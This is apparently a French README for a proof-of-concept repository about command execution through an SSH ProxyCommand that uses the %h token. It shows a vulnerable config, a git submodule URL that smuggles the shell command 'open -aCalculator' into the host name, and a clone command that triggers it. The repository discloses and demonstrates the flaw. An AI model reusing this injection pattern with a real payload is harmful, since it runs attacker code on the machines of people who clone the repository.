poc-proxycommand-vulnerable

RCE via ~/.ssh/config non sécurisé

L'utilisation de jetons comme %h, %p dans ProxyCommand est assez populaire pour utiliser des tunnels et du proxy de connexion via SSH.

Configuration vulnérable

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Note : dans mon évaluation initiale, j'avais l'impression que l'utilisation de '%h` (guillemets simples) éviterait cela, mais il semble que cela reste vulnérable avec quelque chose comme :

url = ssh://'`open -aCalculator`'foo.example.com/bar

Tiré de : https://man.openbsd.org/ssh_config#ProxyCommand

Ce que contient ce dépôt

Un sous-module qui exploiterait cette vulnérabilité pour ouvrir une calculatrice sur OSX.

Essayez-le avec :

git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules